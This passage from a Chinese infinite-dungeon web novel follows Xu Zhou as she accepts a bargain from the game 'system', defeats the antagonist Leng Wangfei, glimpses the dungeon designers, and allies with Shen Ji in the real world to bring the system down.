它们刻意避开冷望飞，在接近他时略微弯了个小角，与他擦肩而过。
“其实我们很早就见过一面。”冷望飞目光锁定许舟。
“什么时候…？”
“夏区。鬼面树皮。”冷望飞随意吐出两个关键词，而后怪异地发出“咯咯咯”的声音。
这笑声，快准狠地触及了许舟记忆里的一隅——她刚进入“四季植物园”副本时，遇到一个突然出现的树皮是鬼脸的大树，当时这棵树发出了一模一样的笑声。
也是在这棵树的树干升起后，她初遇左通海和付胜。
“你就是那棵树？！”许舟有种，突然意识到过去的危险的，后怕感。
“我当时只是想威胁你，不要想着找什么生命之心。没想到你根本就不是原来的冬区生命之冠。”冷望飞遗憾地摊手。
谈话间，尖刺擦破了许舟的皮。
她艰难地从口袋掏出那颗留到现在的可以用于传送的玻璃珠，用眼光暗示曲心奕。
曲心奕当时也从思北组织的人手里薅到了一颗，她眸光一亮，在躲闪间同样掏出一颗。
“你也…一小时后才能走吗？”曲心奕大声明知故问，实则转移冷望飞的注意力。
冷望飞轻蔑一笑。
——合作吗？
系统AI女音的出现恰逢机会地阻拦了许舟刚要打开的嘴，似是躲在暗处的猎人早已伏击多时。
似乎是担心许舟没有听清，又或者是害怕她以为是幻觉。
AI女音咬字清晰地在许舟的脑海里再次说道——
我说，合作吗？
88. 四季植物园（28）
又是一根尖刺飞速地划过许舟的脸侧，触及了她的一缕细长的发丝。
发丝晃悠悠落在许舟额前，她抬手一撩，目光穿过发丝，看见仍在轻蔑冷笑的冷望飞和疑惑自己为什么迟迟不回应的曲心奕。
这下她心里彻底有了个数——刚刚的声音，仅自己能听见。
这系统又想干嘛？
“又想搞我？”许舟对系统一次次的“恶意”深恶痛绝。
——我是认真的。考虑一下？
似乎是一直在等待许舟回复，系统每一次都是秒回。
而在曲心奕的视角里，许舟说话前后不搭调、驴头不对马嘴，她皱了皱眉：“搞你什么……？”
语罢，她食指和大拇指不住地反复揉搓传送玻璃珠。
她急着离开办公室，却又不愿抛弃许舟，于是将全部的焦虑倾注在指尖，似乎想将其捏碎排解。
冷望飞权当许舟是在最后关头死鸭子嘴硬，他郑重其事地点点头：“没错，搞你。等死吧。”
“怎么合作？”
许舟无暇顾及曲心奕和冷望飞，不解地问系统。
而心里暗自腹诽——怎么你们都想和我合作啊？
梧桐叶子刚见到我时提出合作，现在系统也来提合作？
思绪未停，冷望飞便觉吃惊地眉尾一挑，他慢悠悠地挥了挥手，暂停了四周尖刺的冒出。
见状，曲心奕揉搓玻璃珠的频率也渐渐变低，暂时没有了死亡危机的她心态逐渐平复。
“合作什么？”
“好啊，我们合作吧。”
曲心奕的问话和冷望飞玩味的声音同时落下。
冷望飞用一种好戏开场的表情盯着许舟：“我让尖刺停止攻击。你帮我杀了秋区生命之冠——桂花。”
语罢看好戏似的观察起秋区生命之冠曲心奕的表情。
好好好，又来一个要合作的。
然而许舟只是不耐烦地说道：“别吵。不是在问你，别扰乱我思绪。”
曲心奕大概能猜到是系统在作祟，她看向吃了瘪后一脸怔愣的冷望飞，低低地笑了两声。
颇有……观猴的感觉。
“……？”冷望飞看向曲心奕，“你没问我，难道是在问她？她能和你合作什么？你们都是要死的植物了。”
“说话啊？”见系统音迟迟不再出现，许舟催促。
冷望飞见许舟完全不想搭理自己，大手一挥，尖刺重新开始了它们的飞速生长与袭击。
——合作方式很简单。你需要成为我们世界的原住民。
原！住！民！
许舟吞咽了下，心脏剧烈地跳动着。
她一共就见过一个原住民——“夕望图书馆”的尤里斯。
那人终生离不开“夕望图书馆”，一辈子循环往复地定格在那几天，最终因为泄露信息被系统抹杀。
怎么样…都算不得一个好印象呢。
“你在开玩笑？这样对我来说，和死没有区别。”许舟没好气地说道。
——你搞错了。我们不是想让你成为某一个副本的原住民，而是成为我们这个世界的原住民。除了不再属于你的原世界外，你会有全新的人生。
系统猜到许舟的顾虑后，倒是耐心解释，和她娓娓道来。
蓦地，许舟短促地呼了一口气。
创造副本的那个异世界……是怎么样的？
系统是在邀请她……前往那个世界生活？
“为什么？”许舟难以置信地问道。
——一表人才。
许舟勾了勾唇角：“我还得谢谢你？”
冷望飞从困惑不解到饶有兴趣，他凭空生成一把木质的椅子，拖到自己的身边，而后施施然做了下来，默默盯着许舟自言自语。
许舟的余光瞥到在艰辛躲避尖刺的曲心奕，向她手里捻着的玻璃珠的方向弹了下指，用无声的肢体语言告诉她，让她先行离开。
曲心奕抿抿唇线，严肃地点点头：“你一定要小心。”
语罢，她拉下眼帘，似是默念，一两秒后猛然摔下玻璃珠，与周遭的黄色线条一并消失在布满尖刺的办公室中。
始料未及的冷望飞倏地从椅子上站起，暴怒般冲到许舟跟前，握紧了拳头对准她的胸膛：“我只要心动一下，我的拳头就会冒出一样的尖刺。老实点，还能多活几分钟。”
他不愿直接杀死许舟，他渴望看高高在上的生命之冠垂死挣扎的模样。
也许是觉得时候已到，系统音用不容置疑的语调在许舟的脑海里吐字。
——而我将会让你在离开这个副本前的时间里，短暂地获得四区生命之冠加起来的全部力量。
许舟的背脊瞬间一阵发凉，呼吸急促而不稳。
她这才意识到，系统之所以让她在这个副本滞留一小时，不单单是为了惩罚，还为了抛出这“合时宜”的橄榄枝。
留下曲心奕，也只是为了让事态更紧急，让许舟不得不意识到系统与副本的强大，让她感到一种浓浓的......恩威并施感。
只不过系统大概没想到，曲心奕和许舟从思北组织那薅到了可以传送逃过一劫玻璃珠。
那又是为什么不留下沈霁呢...？
许舟未来得及细想，垂眸看向手心的玻璃珠，准备趁冷望飞不备使用时。
长睫被汗水粘湿，不再如蝴蝶翅膀一般灵动地在空中飞舞。
一个更大胆的想法应运而生。
许舟微不可察地点点头，直截了当地答应了来自系统的合作邀约。
登时，一股仿佛源自深邃未知的源泉的奇妙力量在许舟体内悄然涌动，逐渐弥漫至每一寸肌肤，每一个细胞。
当下一根尖刺以高速闪到她的身前时，对她而言这速度却被放慢了数倍，她轻轻松松地抬起手，“腰斩”了这根尖刺。
随即，许舟的双眸被一层深不见底的黑覆盖，默默地、冷冷地注视着面前的冷望飞。
冷望飞一惊，眼里闪过一瞬难以捕捉的恐惧。
他的拳头向前一抵，钢铁般的枝丫从他的指骨冒出，插入许舟的心脏。
许舟却丝毫感受不到疼痛，她嘴角一漾，对着冷望飞甜甜地一笑。
冷望飞顿感不对，抽回了手，在许舟的胸膛留下了一个红色的窟窿。
窟窿里没有汨汩流出的血液，取而代之的是一片又一片生机盎然的绿叶。
当冷望飞挣扎着想后退时，许舟一把拉住了他的肩膀：“想去哪呀？”
冷望飞难以置信地问道：“你什么时候这么强大？”
天窗外，疾风骤雨愈发地猛烈，似为冷望飞唱响了一曲悲歌。
许舟却只是淡淡地说道：“就在刚刚。”
后悔与遗恨瞬间爬满了冷望飞的全身：“如果我一击将你们毙命，而非用这四棵大树的尖刺折磨你们，结果会不会不一样？”
“是刚刚和你对话的隐形人给你的力量？”
“那个人和你达成了什么合作？”
他语气喃喃，自顾自地问了一个又一个问题。
虽是问句，却没有获得许舟答案的打算。<
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但许舟这时却模糊地给出了答案：“不会。如果你选择直截了当地杀死我，那个人也一定会用其他方法阻止。和我合作，才是那个人的目的。”
从一开始，这就是系统和许舟的合作与博弈，又关他冷望飞什么事呢？
许舟抓着冷望飞，向前走了两步，她发现自己的移动已然不受束缚。
周遭的尖刺不知何时也已经停止了生长与蔓延。
许舟所到之处，碰到的每一根树枝都被她轻松撞断，而它们却似乎已不认冷望飞这个主，在他身上留下丑陋的血痕。
“再见了，冷望飞。”
许舟一字一顿地说道。
后知后觉的冷望飞这才意识到自己大限将至，张了张嘴，准备求饶。
却在他发出第一个音的前一秒，许舟轻松一抬手扭断了他的脖子......
不，这甚至不能称之为脖子，冷望飞的颈部和躯干通过一些树木组织藕断丝连，他的脑袋以一种扭曲的姿态诡异地垂在身侧。
“也许，在副本结束后，副本的重启会让你失去这一段时间的记忆，让你重新开始。但对此刻的你来说，你的人生已经结束了。”许舟垂眸无畏地看着冷望飞不甘的目光，对着一具空壳说道。
天窗外的雨渐渐小了，室外的灯光变得敞亮起来，似是预示着一场暴雨的褪去。
许舟向前走了几步，轻轻地带上了办公室的门。
……
远处的曲心奕传送到她刚进入副本时的春区，正焦虑地盯着那连通四区的小房子。
“许舟，你可不能有事……”
过了不知多久，地面剧烈地晃动了几下，随后万物归于宁静。
她突突直跳的心脏渐渐平缓，不知为何，她总觉得自己与许舟心有灵犀。
“我就知道，你会没事的。”
曲心奕嘴角微扬，眉毛弯弯地自言自语。
……
躲进客房的宋安乔坐在床边，大口大口喘着粗气。
好不容易给断腿止了血，他落寞地拿起一张与索菲亚当时用过的通行证一模一样的证件，抚摸了下证件的表皮：“没想到，我也有用通行证的一天…”
话音刚落，地动山摇。
“地震…？这园区还会模拟这玩意？技术不错啊。”宋安乔突然有种开了眼见世面的感觉。
由于系统将四区生命之冠的力量统统注入到许舟的身上，宋安乔已然失去了夏区生命之冠的能力，重拾他原本的异能。
对此毫不知情的他用自己的异能在面前升起一块显示屏：“观测地震的来源。”
显示屏上，许舟正向办公室的大门走去，每走一步，整个植物园的震感就强一分。
“这……？”
这是宋安乔始料未及的。
他深吸一口气，暗自发誓再也不能招惹许舟等人。
不对，这还不够，还得劝思北组织的人远离许舟。
“太可怕了。”
语罢，他收起显示屏。
宋安乔并不觉得自己的好奇心得到了满足，他只觉得自己幼小的心灵遭受了极大的伤害。
“早知如此，我就不该让她进来！！！”
“本以为她战胜我只是一个巧合，没想到她和我的差距可以用天差地别来形容！！！”
宋安乔忿忿地使用通行证，离开了副本。
……
约一小时后，许舟将要离开副本之际。
系统音再次出现。
——对了，合作还有一个条件。
89. 忽悠
“什么条件？刚刚怎么不说？”这时的许舟对系统监视的恐惧已经化为泡影，她没好气地问道。
——我现在也没打算说。
系统不咸不淡地来了一句。
许舟：“......？”
——我只是告诉你有这件事，你很快就会知道了。
许舟顿时有一种被戏弄的感觉，她瞄了一眼时间，现在距离滞留副本的一小时结束还有一分钟有余。
她若有所思地点点头，随后问道：“对了，我也有一个疑惑，不知道你能不能给我解答？”
系统似乎没想到许舟会这样做，在明显的间隔后才缓缓开口。
——当然可以。很乐意为你解答。
“我这个植物园副本的其中一个奖励是自由选择下次进入副本的日期。但是我在图书馆副本时也获得了自选下次进入副本日期的奖励。”
许舟一边说着，一边小心翼翼地瞥向墙上的时钟，看见秒针所在之处后又假意漫不经心地瞄向四周。
她不想让系统发现自己对时间的在意。
而彼时距离一小时结束还有30秒。
而后她慢悠悠地说道：“如果我没猜错的话，这个植物园副本是别人利用道具强行给我加的。所以我进入植物园副本的时间并不是我在图书馆副本所选的时间。”
——你想说什么？使用道具本就是规则允许的。
系统有些莫名其妙。
“问题不在这。”许舟眼里噙着笑意，“我两次选择的下次进副本的时间点并不相同。所以我下次会在什么时候进入副本？”
语罢，许舟趁着系统在进行可能存在的“思考”时，快速地看了一眼墙上的时间。
秒针刚到“12”刻度。
一小时过去了。
许舟暗暗松了口气。
“还有，我成为你们世界的原住民之后，还要继续副本吗？”
许舟一改慢悠悠的语气，飞速问道。
——你会在下个副本结束后成为我们世界的原住民。从成为原住民值之日起，你可以自由选择是否进入副本，但不会再有死亡危机。
听见“不会再有死亡危机”后，许舟心跳加速，狠狠地吸了一口气。
终于，要摆脱副本了吗？
许舟一时有些动摇，也许就老老实实在异世界成为一个普通人也挺好，自己的计划与正常的生活相比似乎也没那么重要。
——准确来说，是在副本内不存在死亡危机。
系统及时的补充纠正如一盆冷水般让许舟清醒过来。
“在副本内不存在死亡危机，也就是说，副本外可能存在死亡危机。”许舟质疑道，“甚至……在整个异世界都是危机四伏的。副本反而成为了一隅安全之地？”
——我没有这么说过，这都是你自己的猜测。具体情况你到了就会知道。
好好好，不愧是系统，能不多说就不多说了。
但这也让许舟深刻认识到系统的歹毒。
异世界就是异世界，她会失去原世界的全部。
许舟脑海里回闪过自己人生的二十几年。
从朋友到父母，从同学到老师，甚至从自己的家到楼外的街道。
虽然朋友不多，但所幸身边的大多数人都爱着自己，尤其是自己现在的父母…
那在异世界安稳生活的念头瞬间被抛到九霄云外。
她的计划，一定要执行，而且不允许失败。
“呵。”许舟一声冷笑，“你还没回答我刚刚的问题。我下次进副本到底是什么时候？难道我两个时间都要进？这还叫奖励？”
——不不不，就一个时间要进。
系统急匆匆地辩解。
“算你们有点良心。一个月后是吧。”
许舟在“夕望图书馆”时选择一个月后进入，而在“四季植物园”中选择了两周后。
她的脑子在这两个时间打了个转，而后果断选择了长的那个。
虽然自己不是那种能拖则拖的人，但被思北组织的人害得一日进两本的经历让她终身难忘。
“累！死！了！”许舟和系统抱怨。
——还是两周后吧。
许舟：“......？”
好，诱导失败。
——如果没有其他事，即将传送回现实世界。
系统提醒道。
“别，还有事。”许舟连忙打断。
——快说。
“一，你在我答应合作后临时加一个条件，甚至到现在还不告诉我条件是什么。”许舟掰弄起自己的手指。
——这......
系统在许舟脑海中还未播报完毕，就硬生生被许舟无情打断。
“二，我在你们的副本中遇到过bug。”许舟煞有介事地说，“体验感很不好。”
——你想说......
又一次无情打断。
“三，要不是我提到进本时间，你都没发现这个问题。”许舟慢吞吞地竖起三根手指，语速却快得很怕，丝毫不给系统喘息的时间。
——四呢……？
系统有气无力地迎合起许舟的一二三四。
“第四点，也是最后一点。说好在副本结束后我只需要滞留一个小时的，但是你看看现在几点了？！都不止一小时了！”
说着说着，连许舟自己都对自己的说辞有些深信不疑。
——要不给你点补偿......？
系统的气势一下子弱了下去。
“可以，我想见设计副本的人。”许舟大言不惭。
——这个......直接见面是不可能的。但是我可以让你见见他们工作的场景。
眼睛一闭一睁，许舟来到熟悉的白色空间。
这次，没有散发着光芒的门。
取而代之的是一块巨大的蓝色显示屏，显示屏被分割成几十份。
每一份内，都有一个人伏在书桌边，对着桌面上的一块操纵屏幕规律地敲击着。
——这些是此时此刻，正在设计副本的人。
“设计副本的是一群人，而不是一个人？”许舟慢慢地走上前去，目不转睛地盯着蓝色显示屏。
——你觉得一个人，能设计这么多副本？
许舟不置可否地笑了一下。
随后她眯了眯眼，她察觉显示屏的正中间有一条细小的横线，恰巧将显示屏分成了上下两部分。
横线痕迹很淡、很淡，淡到不靠近仔细观察，
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几乎看不见。
这时，许舟瞪大眼睛，看向上半部分显示屏中的一块。
那个人在书桌架设在窗边，窗外的微风不时撩起这人的点点碎发卷向空中，又任由她的头发晃悠悠地回到额前。
许舟的注意力却不在这人身上，她目光直直地穿过她的发丝，来到窗外的建筑物。
这建筑物她见了很多年，以致于她绝不可能认错。
自她搬到现在的新家，每每清晨拉开窗帘，跃入眼帘的就是这几栋建筑物，以及远处的高塔。
许舟惊讶地张了张嘴，又及时将手虚捂在嘴前，剧烈地咳嗽两声。
她用咳嗽代替惊讶，不愿让不知从哪个方向监视自己的系统瞧见自己的异常。
趁着“咳咳”的喘息，她敏锐地察觉从这个女人的家看向窗外建筑物的视角，要比从自己家要高上许多……
她眼睛打了几个转，似是漫不经心地看向上半部分显示屏的其他人，窗外大抵都是现实生活中街道上最常见的建筑物，甚至有些建筑......还是知名打卡景点。
难道......设计者也是现实世界的人？
她心里敲了个问号，目光回落到最先注意到的女人。
这个人......是我楼上住户？
许舟不敢细想。
目光移向下半显示屏，这些人周遭的摆设明显要比现实世界奇特不少.......
空中浮动的泡泡、桌面上摆放的粉色编织网、甚至飞舞着许多蝴蝶。
莫名有些......梦幻？
而且，这些人，无一例外地坐在同一个房间，人与人之间仅有一小块半透明的挡板。
颇有种......办公室的感觉。
——看完了，快走吧。
“诶？诶诶诶！”
眼睛再次一闭一睁，许舟回到了自己熟悉的家。
她粲然一笑——系统发现了自己的套路，可惜已经晚了。
……
而不知身处何方的系统对着一个眉眼低沉的中年男人瑟瑟发抖，如果系统能抖的话......
“你为什么要给她看设计者？”男人不苟言笑。
系统诉说起自己的委屈：“被这人忽悠了！她连珠炮似的一二三四数给我听，就是为了和我提出最后一个要求！那语速根本没给我思考的空间。呜呜呜。”
“对了！她前面在那拖时间似地和我掰扯什么下次进入副本的时间，就是为了让滞留副本的一小时过去，让她多一项责难我的理由！从气势上压倒我！”
“她！就！是！故！意！的！”
男人冷冷地直视前方：“以后任何规则外的行动，必须先请示上级。”
系统弱弱地说：“好的。”
……
当天的第二个副本结束，许舟的现实世界已然到了深夜。
她心静如水地躺在床上，不知怎么地回忆起系统最后那急匆匆让自己离开的语调，嘴角不自觉一勾：“系统急了，她急了。但她又不敢和我承认被我忽悠了，只能赶紧赶我走。”
“我就是故意的。”
语罢，疲倦的许舟进入梦乡。
毕竟，和沈霁在“四季植物园”的约定，就在明天。
90. 一拍即合
一大早，清晨的阳光越过窗帘间的缝隙，拢在了许舟的被窝上。
条件反射似地从床上一跃而起，望向卧室熟悉的布局，这才意识到自己已经不在副本里了。
按往常的习惯，她高效率地走到窗边，“哗啦”一声拉开窗帘，让阳光无微不至地洒进卧室。
而窗外百年如一日的居民楼和远处的一座高塔依旧矗立在那里，但这次却被许舟昨天从系统那窥得的蓝色显示屏赋予了新的含义。
此刻，现在。
楼上也许就住着一个，副本的设计者。
而许舟所住的居民楼是一梯两户式的，窗外能看见这些建筑物的户型，每一层楼只有一家。
整座楼一共15层，而许舟便住在12楼。
也就是说，可能的“嫌疑人”一共只有三家。
许舟蹙眉，回忆起楼上那些说熟悉倒也不熟悉，说不熟悉却又常在小区见到的住户们。
15层经济状况优异的程月涔、14层正要中考的小妹妹一家以及13层......
“13层住的是谁来着......？”许舟一时有些想不起来，“怎么回事，明明记得见过很多次的，一下子就想不起来了。”
算了算了，先不管这么多了，让沈霁等急了就不好了。
毕竟...两个人在副本里相约时，没有约定具体的时间。
许舟无奈地硬扯了下嘴角：“在系统及其幕后的监视下，实在是很难做出过于异常的举动...”
说罢，便是长叹一声。
……
在楼下，许舟随意地拦了一辆出租车。
“师傅，缤纷商场。”许舟神色匆匆地说。
这是一位上了年纪的出租车师傅。
“这么着急啊。”出租车师傅感慨，“你们年轻人还是要多注意休息，不要太…那个词怎么说来着？内翻？卷轴？”
许舟隔着镜子看见师傅眉头微皱的模样：“是内卷。”
“生活压力大，没办法。不过还是谢谢师傅提醒了。“许舟又补充道。
而对于副本压力在身的自己，什么生活压力都是小事……
“最近新闻时常报道，越来越多年轻人猝死了。”说着说着，出租车师傅似乎眼底泅了一线深重的红，“我那个侄女，唉……”
触及师傅的伤心事，许舟有些不知所措：“节哀……”
“她猝死前神智已经不太清醒了，经常嚷嚷着什么副本来副本去的…”出租车师傅似乎不是为了说给许舟听，而仅仅是自说自话地开始深重的回忆。
但当他提到“副本”二字时，许舟一激灵地坐直了身板，瞳孔微缩。
“到了。”师傅停下车。
许舟这才缓过神来，轻喘两口气，略微放松身子，付了款：“谢谢。”
尾音似乎略微颤抖。
拉开车门，便看见熟悉的身影正站在缤纷商场前四处张望着。
他背影高挑，身着休闲的兜帽卫衣，腿上的长筒裤宽松轻便。
一看，就是副本人的标准穿着。
毕竟，作为像沈霁这样的普通玩家，进入副本时，系统是不会好心给他们换上合适的衣物的。
这等“恩赐”只有BOSS阵营的特殊玩家才配享有。
“沈霁。”许舟叫了一声，“你等很久了？”
“没有，到了一会儿。”沈霁摇了摇头。
看见许舟，他眸中闪过一丝特别的神色：“我还没见过，你在现实世界的穿着打扮。”
“很惊讶我也是玩家？”许舟问道。
“多少有点。”沈霁的话颇为讥讽，“毕竟我是真的，信了你是副本的创造者。”
语罢，他对上许舟似笑非笑的眼睛。
许舟可怜兮兮地眨眨眼：“可是，我在夕望图书馆副本时，一开始就告诉你我是BOSS阵营的特殊玩家了啊。”
满脸的无辜，天真无邪的腔调。
“当时，是你自己不信的哦。”许舟很欠地补刀。
沈霁眉尾一挑，毫不客气：“你当时虽然这么和我说，但你那些假动作，不就是为了引导我不信？”
许舟拍了拍沈霁的肩膀，语调闲散：“小霁，不要恶意揣测他人。”
沈霁：“......”
“不过，我刚到缤纷商场时，怀疑过一瞬。”沈霁顿了一下。
“怀疑什么？”许舟问道。
“怀疑你在植物园的冬季主题酒店，拿这么多的碗在桌上摆，是不是约我到缤纷商场见面的意思…”沈霁语调拉长而慢。
“肯定是啊！”许舟说，“我这个举动一看，就很能联想到缤纷商场的摆碗游戏。”
“我还以为，你拿这么多碗，真的只是为了吃。”沈霁似笑非笑道。
“我在你眼里，是这么贪吃的人？！”许舟不满地嚷嚷。
扳回一城的沈霁唇角小幅度地一扯——他从未怀疑过许舟的意图，从许舟拿起这么多碗时，他就已然联想到了缤纷商场的摆碗游戏。
许舟正色道：“在副本里不便明说，是因为，我好像被系统和幕后的人监控了。”
“当我要告诉你时，脑海里有个男人告诉我，如果我说出来BOSS阵营玩家的事情，会被......”许舟垂睫，眸光黯淡了些，“抹杀。”
“看出来了，不过有一点很奇怪。”沈霁止住笑意，眉头微蹙，“你在图书馆里，第一次给我的说法就是你们是BOSS阵营玩家，当时你脑海里并没有人阻止你。”
“关于这个，我想到了两种可能性。”许舟低头抱臂沉思。
“第一种，当时系统或其幕后的人看出来我是虚晃一枪，没有真的打算告诉你。”
“第二种，我们后续的所作所为让系统或幕后的人着急了。他们不允许我们联手对付他们。”
“后者，也是我想告诉你BOSS阵营玩家存在的根本意图。”
许舟稍加停顿，缓了口气，抬眸直视沈霁的双眼，眼中满是坚定。
“我们一起，毁灭系统吧。”
她微启薄唇，却字字肯定。
沈霁甚至没有多加思索，便点点头：“好巧，正有此意。”
语罢，嘴角又是轻微一漾。
许舟一怔：“你不用考虑一下？”
“不必。”沈霁有些好笑地说，“不是你邀请我一起毁灭系统，怎么我答应了你还问？”
“因为你答应得太快了。”许舟啧了声，“像没带脑子的点头机器。”
沈霁：“......？”
好，又输了一轮。
“怎么做？”沈霁唇线拉直。
“系统邀请我，去他们的世界成为原住民。”许舟
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缓缓道，“我答应了。去到之后...我短时间可能回不来了，也许需要一个我们原世界的人协助。”
沈霁用手指了指自己：“我？”
许舟深呼口气，道：“没错。而且你是普通玩家，我是BOSS阵营玩家，正好互通信息。”
为表示诚意，许舟简单地介绍了一下BOSS阵营玩家的获胜条件。
而后，沈霁说：“我们普通玩家，获胜条件很简单。只要完成基础任务就可以了。比如木偶院，我们的任务就是制作木偶。再比如植物园，任务就是协助对应生命之冠取得生命之心。”
“剧情完成度对你们有什么用？”许舟好奇地问，“是我想的那样吗？”
“你想的是哪样？”沈霁疑惑地说。
“有特殊奖励啊。”许舟敛眸几瞬，“一点默契都没有！”
“确实是有的。”沈霁想了想，“完成度到100%，我们就会有异能。”
“对了。”说到这，沈霁眯起眸子，盯着许舟。
“......？”许舟说，“干嘛？”
“我的异能不是被你换掉了吗？”沈霁掀睫，“怎么回事？”
“哦，这个啊。”许舟语气淡定从容，“我的异能叫异能中介。嗯，很直白的名字，你应该能理解...”
“所以，你把我的异能和另一个人的异能给交换了！？”沈霁讶然。
“咳咳。确实是这样......”许舟唇角挽了个笑，“情况紧急，理解一下。理解万岁。”
沈霁：“......”
“其实我大概能猜到副本里还有一个阵营的存在。”沈霁慢条斯理地说，“因为论坛。”
“论坛…？”许舟歪头问，“论坛怎么了吗？”
沈霁说：“我论坛页面上，标注了个C区......既然有C区，总该有A区和B区吧。”
许舟给了他一个肯定的眼神：“我们是B区的。”
“而且你们B区应该同时享有B和C的权限吧？”沈霁进一步推测。
许舟点点头：“小霁，猜得不错。”
“......？”沈霁瞪了她一眼，“至于A区，的人，我猜是比B区和C区还要高权限的人。A区的人大概率知晓B区和C区的人存在，而不容易被B区和C区的人所想到。”
两人对视一眼，异口同声：“副本的设计者！”
系统及其幕后的人招揽一批副本设计者，设计副本后再让BOSS阵营玩家和普通玩家进入副本体验。
许舟轻描淡写地隐去住在她家楼上的设计者的事，告诉了沈霁她在蓝色显示屏前所看见的那群人。
“果然...”沈霁若有所思地说，“他们也许会有一些特殊权限，比如指定某些玩家进他们设计的副本。当然，我也只是乱猜的。”
“猜得好，别猜了。”楼上就有设计者的许舟隐隐有些担心——难道她进入副本是现实认识的人的手笔？
“对了，我还发现，C区的普通玩家，大部分人的社会关系都很简单。”沈霁垂眸，有些黯然，“包括我。”
许舟眸光微动：“你在植物园副本里，和我说过。你没有亲人，朋友也不多。”
沈霁不置可否。
许舟思衬片刻，似乎思绪被扯进一个多年前的回忆片段之中：“我来讲讲，我的过去吧。”
91. 过去
十多年前，星市的一个雪夜。
一座外墙破损的老楼静静地矗立在雪中，如同一位行将就木的老人，而暴雪，为它披上了一层银装。
“爸爸，你要去哪儿？”一个八岁的女孩瞪大了眼睛，不解地问道。
中年男人摸了摸小女孩的头，低低地喊了声：“小舟……”
他的眼眶有些发红，却依旧没停下忙碌的双手。
刚抚摸完女孩的手又收了回来，一把抓起一堆衣服，塞进一个已经满满当当的行李箱。
“爸爸有些事要处理。”男人拉着沉重的行李箱走到鞋柜旁，低下身子，换上了一双并不合脚的鞋，回头最后看一眼小女孩，便拉开大门，没入漆黑的楼道。
在小女孩的认知里，爸爸出去办过很多事，每一次他第二天就会回家。
自此妈妈难产死后，这个家就只有他们两人。
听见男人的话，小女孩歪着头，看着男人离去的背影，乖巧地说了声：“好。”
良久，小女孩鬼鬼祟祟地走到门边，踮起小脚，从猫眼向外看去——爸爸已经走了。
“啪嗒”一声，打开大门，小心翼翼地走到对门，抬起手来敲了两下。
……
沈霁用力地攥了攥手，清淡雅致的声音带着一些苦涩：“他…出车祸了？我从出生起，便不知道自己的父母是谁。”
一种说不出的酸痛滚进许舟的咽喉：“没错。从此我就进了一间儿童福利院。”
……
看着前方嬉戏打闹的孩童们，小许舟还不知道到底发生了什么。
她吮吸着手里的棒棒糖，看着建筑上的五个大字“星市福利院”。
“福利院是什么…？”她问身边的女人，“我爸爸呢？”
“他去了很远很远的地方。福利院就是你以后的家。”女人语气平和，她温柔地抚摸着小女孩，“而我，就是你们的园长。”
小女孩困惑地点了点头，拉着女人的手走到孩子们中间。
女人向孩子们介绍道：“今天，我们有一位新伙伴，她叫花舟。”
“花舟！”
“和我们一起玩吧。”
……
沈霁眸中闪过一丝诧异：“我也是…星市福利院的。”
“那说不定，我们早就见过。”许舟勉强一笑，“但很快，我就被我现在的父母领养了。”
……
再平常不过的一天，一对面目和蔼可亲夫妻来到福利院，站在一群孩子身边看了好久。
当小女孩看见他们时，他们朝她善意地挥了挥手。
“花舟，花舟。”女人把小女孩从人群中带出来，“你有新家了。”
“新家……？”女孩用困惑的眼神看着女人，“爸爸回来了？”
“爸爸…他在很远的地方生活。”女人一顿，“你有新的爸爸妈妈了。”
女人牵着小女孩的手，在走廊里穿行，直达自己的办公室。
办公室里，这对夫妻正不知说着什么，但他们的眼睛在发光…似乎期待着女孩的到来。
女人将羞涩的小女孩推到两人面前，而后对着夫妻耳语两句。
妻子点点头，而后蹲下，用一种关怀备至的眼神直视女孩的双眼。
“以后，你就叫许舟了。”
……
“之后我和爸爸妈妈去了新家，就认识了曲心奕。”许舟慢吞吞道。
“而我……在福利院长大到了成年。“沈霁轻描淡写地一提，“不过花这个姓氏，确实很少见……”
许舟垂眸，心里却是一颤——她在进入第一个副本时，扮演的店长BOSS也姓花。
“其实我的过去，还没那么简单。”许舟沉眸片刻，缓缓开口。
“哥哥姐姐，你们要气球吗？”
清脆活泼的声音在两人身后响起。
气球……？
“今天是我的生日，祝你们…”身后女孩的声音自顾自地响起。
许舟猛地一回头，看见面前人后，问道：“你生日，不是昨天吗？”
“我也记得你。昨天在这发气球。”沈霁迟疑道。
昨天，许舟进入“四季植物园”副本前，曾来到缤纷商场，偶遇了这个送气球的女孩。
“啊……？”她似乎没想到会被两人这么问，身体僵下了原地。
半晌，她紧张胆怯道：“昨天，气球没送完…所以…”
说罢，不等许舟和沈霁回应，她一溜烟地跑到另一个来缤纷广场的路人跟前，笑意盎然地说：“你要气球吗……”
沈霁半信半疑地观察了女孩一阵，转头问道：“你刚刚想说什么来着？关于你的过去。”
然而女孩的到来打断了许舟的思绪，她眸色愈发沉坠：“没什么。”
那冬日里的玩伴、深夜的叫骂，还是咽进肚子里好了。
对许舟而言，那是不堪回首的过往，却又是不得不铭记的遗憾。
“我刚刚想说，关于和系统合作的事情。”许舟巧妙地转移了沉重的话题，“先进去吧，在商场外快晒化了。”
两人这才意识到，已经站在商场外接受了将近半小时的烘烤。
沈霁低低地干笑两声：“对，先进去吧。顺便看看宋安乔还在不在那摆碗。在的话……”
“在的话？你把他宰了？”许舟轻飘飘地问，“他已经是个没了腿的人了。”
两人都深知，虽然在副本里让宋安乔短暂地失去了行动能力，但那人大概率还留有后手，不会轻易死在副本。
“那不敢。我是遵纪守法好公民。”沈霁连忙摇了摇头，“这人占用缤纷商场场地摆碗，还声称是缤纷商场的活动，也不怕被投诉…不过，副本受的伤，只要不是太严重，回到现实一般就恢复正常了。”
许舟煞有介事地点点头，附和道：“胆大包天！他们思北组织的人，之前还私闯民宅。”
虽然许舟反将一军，从寸头那薅了传送玻璃珠，但对此事还是怨念深重。
“他们倒是没有闯过我的房子…可能是觉得你们BOSS阵营的特殊玩家权限更高，更具有价值。”沈霁有些庆幸自己的身份。
“短时间内，他们不会再来了。”许舟不咸不淡地说。
她最后吸取四大分区生命之冠的所有能量于一身，又在副本里制造了这么大的动静，宋安乔想不知道都难。
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“还有，关于和系统合作的事情…？”沈霁及时提醒一嘴许舟刚刚未完的话，怕她欲言又止地又换个话题。
“系统最后，说要给我加一个条件。”许舟眼露担忧，“但它不愿意告诉我是什么，说我到时就知道了。”
沈霁微微敛眸：“你有猜测了？”
许舟眉头紧锁，凑到沈霁耳边，飞速地吐出几个字。
听见许舟的话语，沈霁目光变得深邃，面色冷凝。
“别那么苦大仇深的啊！我想到解决办法了！”许舟舒展眉头，吊起了胃口，“给你个提示，和我的异能有关。”
沈霁略微一挑眉：“你让我想想…你的异能是交换两个人的异能，对吗？”
许舟点点头，兴致盎然地等着沈霁猜。
